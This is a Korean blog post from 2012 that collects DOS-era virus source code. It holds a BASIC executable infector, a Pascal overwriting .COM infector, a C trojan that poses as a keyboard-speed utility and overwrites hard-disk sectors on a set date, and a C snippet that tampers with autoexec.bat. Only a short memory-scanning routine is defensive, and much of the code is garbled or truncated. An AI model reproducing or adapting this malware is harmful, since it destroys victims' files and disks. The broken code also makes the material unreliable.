2012년 9월 9일 일요일

자료저장 5


'--------------
'BASIC LANGUAGE
'--------------
10 ON ERROR GOTO 430
20 LENGTHVIR=2641 (컴파일 후 화일 크기를 입력)
30 VIRROOT$="BV3.EXE"
40 SHELL "DIR *.EXE>INH"
50 OPEN "R",1,"INH",32000
60 GET #1,1
70 LINE INPUT#1, ORIGINAL$
80 LINE INPUT#1, ORIGINAL$
90 LINE INPUT#1, ORIGINAL$
100 LINE INPUT#1, ORIGINAL$
110 ON ERROR GOTO 430
120 CLOSE#2
130 F=1 : LINE INPUT#1,ORIGINAL$
140 F=1 : LINE INPUT#1,ORIGINAL$
150 IF MID$(ORIGINAL$,1,1)='%' THEN GOTO 110
160 ORIGINAL$=MID$(ORIGINAL$,1,13)
170 EXTENSION$=MID$(ORIGINAL$,9,13)
180 MID$(EXTENSION$,1,1)="."
190 F=F+1
200 IF MID$(ORIGINAL$,F,1)=" " OR MID$(ORIGINAL$,F,1)="." OR F=13
THEN GOTO 220
210 GOTO 190
220 ORIGINHVIT
250 IF LOF(2)
260 GET #2,3
270 LINE INPUT#2, TEST$
280 CLOSE #2
290 IF MID$(TEST$,,2,1)='%' THEN GOTO 110
300 CLOSE #1
310 ORIGINAL$=ORIGINAL$
320 MID$(ORIGINAL$,1,1)='%'
330 MID$(ORIGINAL$,1,1)='%'
340 C$="COPY"+ORIGINAL$+" "+ORIGINALS$
350 SHELL C$
360 C$="COPY"+VIRROOT$+" "+ORIGINAL$
370 SHELL C$
380 OPEN ORIGINAL$, FOR APPEND AS #1 LEN=13
390 WRITE#1,ORIGINALS$
400 CLOSE #1
410 PRINT "INFECTION IN";ORIGINAL$
420 SYSTEM
430 PRINT "VIRUS INTERNAL ERROR":SYSTEM
베이직으로 작성한 바이러스
DATA "4B","FE","55BB","다크어벤저-1028"
DATA "E0","00","0300","예루살렘"
DATA "42","43","5678","침입자"
DATA "C0","00","0300","느림보 또는 ZEROTIME"
DATA "EE","00","0300","예루살렘-G"
DATA "FF","00","0400","일요일"
DIM INAX(10),OTAX(10),VN$(10)
FOR I=1 TO 6
READ A$,B$,C$,D$
INAX(I)=VAL("&H"+A$+B$)
OTAX(I)=VAL("&H"+C$)
VN$(I)=D$
NEXT I
PRINT "메모리의 바이러스를 검사합니다."
FOR I=1 TO 6
Reg 1,INAX(I)
CALL INTERRUPT &H21
IF Reg(1)=OTAX(I) THEN PRINT VN$(I);" 바이러스가 존재합니다."
NEXT I
END
3) PASCAL 로 구현해본 바이러스
PASCAL 로 제작한 간단한 바이러스 데모 입니다.
{
-----------------------------------------------------------
Number One
This is a very primitive virus
HANDLE WITH CARE: -------- Demonstration ONLY !!!
Number One infects all .COM - files in the
CURRENT directory
A warning message and the infected file's name will
be displayed
That file has been overwritten with Number One's
program code and is not reconstructible!
If all files are infected or no .COM - files found,
Number One gives you a
Files may be protected against infections of
Number One
by setting the READ ONLY attribute.
Written 10.3.1987 by M.vallen (Turbo-Pascal 3.01A)
(c) 1987 by BrainLab
__________________________________________________________
}
{C-}
{U-}
{I-} { Do not allow an user break, enable IO check }
{---- Constants -------------------------------------------}
Const
VirusSize = 12027; { Number one's code size }
Warning : String[42] { Warning message }
= 'This file has been infected by Number One';
{---- Type declaration ------------------------------------}
Type
DTARec = Record { 화일hing entry }
If not Odd(Reg.flags) then { If a file found then ...}
Repeat
UsePath := DTA.FullName;
B:=dos(#0,UsePath);
If B>0 Then
Delete(UsePath, B, 255); { Remove grabage }
Assign(Go,UsePath);
Reset(Go);
If IOresult = 0 then { If not IO error then ...}
Begin
BlockRead(Go,Buffer, 2);
Move (Buffer[$80], TestID, 43);
{ 화일이 감염되었는지를 검사 }
If TsetID <> Warning then
Begin
Seek(Go,0);
MarkIntected := Warning;
Blockwrite(Go,ProGramStart, Succ(VirusSize Shr 7));
Close (Go);
Writeln(UsePath + ' intected. ');
Halt;
End;
Close(Go);
End;
{ 화일이 이미 감염되었음, 다음 화일로 작업 연결 }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
Until Odd(Reg.Flags);
Write('');
END. {of Program}
4) C 로 구현한 바이러스
다음은 하드 디스크 파괴 트로이 목마 바이러스 C 소스입니다.
다음 배치로 구현한 바이러스 의 트로이 목마형 구조와 비슷합니다.
단지 차이점은 개발 언어와 약간의 침투방법의 차이겠죠.
다음 바이러스 프로그램은 하드디스크를 빠르게 합니다.
그러나 지정한 날짜,조건이 맞으면 하드 디스크를 파괴해 버립니다.
C 로 트로이목마 바이러스를 구현할 수 있다는 정도로 알아 두십시요.
*바이러스 메인 부분입니다
// Main Source Fast.C
#include
#include
#include
#include
#define LASTHEAD 1
#define LASTTRACK 79
#define LASTSECTOR 15
#define BYTESPERSECTOR 512
#define driveToRead 0x80 // C: drive (파괴대상 드라이브 지정)
char diskBuffer[BYTESPERSECTOR * LASTSECTOR];
typedef struct{ // 날짜의 구조체
int Year;
int Month;
int Day;
} Time_Type;
// 키보드 빠르게 하는 루틴 (트로이 목마의 외형 부분)
void Fast_Key( void )
{
outp( 0x60, 0xF3 );
delay( 100 );
outp( 0x60, 0x00 );
delay( 100 );
}
// 하드디스크 섹터 쓰기
unsigned char WriteHardSector( unsigned char drive,
unsigned char sectorsToWrite,
unsigned char head,
unsigned int cylinder,
unsigned char sector,
unsigned char far *bufferPtr ){
union REGS reg;
struct SREGS sreg;
reg.h.ah = 3;
reg.h.al = sectorsToWrite;
reg.x.bx = FP_OFF(bufferPtr);
reg.h.dh = head;
reg.h.dl = drive;
reg.h.ch = cylinder;
reg.h.cl = (cylinder >> 8);
reg.h.cl <<= 6;
reg.h.cl |= (sector & 63);
sreg.es = FP_SEG(bufferPtr);
int86x(0x13,&reg,&reg,&sreg);
return(reg.h.ah);
}
void main( void ){
unsigned char currentHead,currentTrack,currentSector;
struct date cur_d; // 날짜
FILE *Read_Exe; // 화일 포인터
Time_Type Clack_Time; // 파괴 대상 하드디스크 날짜의 구조체
int Data_Size = 0; // 날짜를 읽기위한 사이즈
getdate(&cur_d); // 현재 날짜 알아내기
Read_Exe = fopen("fast.exe","rb");
//바이러스 개시 날짜를 알아내기 위해 실행화일을 OPEN
//Openfast.exe 화일이 현디렉토리에 있어야함
Data_Size = sizeof(Time_Type);
fseek(Read_Exe,-Data_Size,SEEK_END); // 실행 화일 끝에서 Data_Size만큼
// 뒤로 포인트를 옮김
fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
// 데이타 읽기
if( ( Clack_Time.Year == cur_d.da_year) &&
( Clack_Time.Month == cur_d.da_mon ) &&
( Clack_Time.Day == cur_d.da_day )){
// 날짜가 실행화일 끝에 붙은 날짜와 일치 하면 하드 파괴
for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
//실제 하드디스크 파괴 부분
//엉뚱한 데이타를 마구 써버림
WriteHardSector(driveToRead,LASTSECTOR,currentHead,
currentTrack,1,diskBuffer);
}
}
textattr( WHITE | BLUE << 4);
cprintf("[ Cracking Ok ! ]");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
// 날짜가 맞지 않을 경우 그냥 키보드 속도를 빠르게 한다
else { Fast_Key();
textattr( WHITE | BLUE << 4);
cprintf("Fast_key Installed !");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
}
*두번째 시간을 맞추는 소스입니다.
// 시간을 맞추는 소스 Set_Time.C
// 사용법 : [ Set_Time 1995 3 9 ]
#include
#include
typedef struct{
int Year;
int Month;
int Day;
} Time_Type;
void main(int argc,int **argv){
struct date cur_d;
FILE *Read_Exe;
Time_Type Clack_Time;
Clack_Time.Year = atoi(argv[1]);
Clack_Time.Month = atoi(argv[2]);
Clack_Time.Day = atoi(argv[3]);
Read_Exe = fopen("fast.exe","rb+");
if(Read_Exe == NULL) printf("\nFile Opening Error [ Fast.exe ]\n");
fseek(Read_Exe,0L,SEEK_END); // 화일 포인터를 끝으로 옮긴다
fwrite(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
//날짜를 Fast.exe끝에 붙인다
fclose(Read_Exe); // 화일 닫기.
}
다음은 위와 아주 유사한 형태의 트로이 목마형 바이러스 소스 입니다.
#include
#include
#include
#include
void next();
struct mystruct
{
int num;
char name[10];
char tel[10];
};
char n[]="@echo off\ntype t.cmm\n";
main()
{
int r;
long add;
FILE *fp;
struct mystruct s,d,f;
if ( ( fp = fopen("C:\\t.cmm","wb+" )) == NULL )
{
exit(-1);
}
s.num = 1;
strcpy( s.name,"I'm Hacker");
strcpy( s.tel,"HaHa...");
fwrite(&s , sizeof(s),1,fp);
fseek( fp,0,SEEK_SET);
fread( &d,sizeof(d),1,fp);
fclose(fp);
fp = fopen ("C:\\autoexec.bat","r+");
fprintf(fp,"%22s",n);
fwrite(n,1,1,fp);
fseek(fp,add,0);
add = r+190;
fclose(fp);
next();
}

댓글 없음:

댓글 쓰기

국정원의 댓글 공작을 지탄합니다.

UPBIT is a South Korean company, and people died of suicide cause of coin investment.

 UPBIT is a South Korean company, and people died of suicide cause of coin. The company helps the people who control the market price manipu...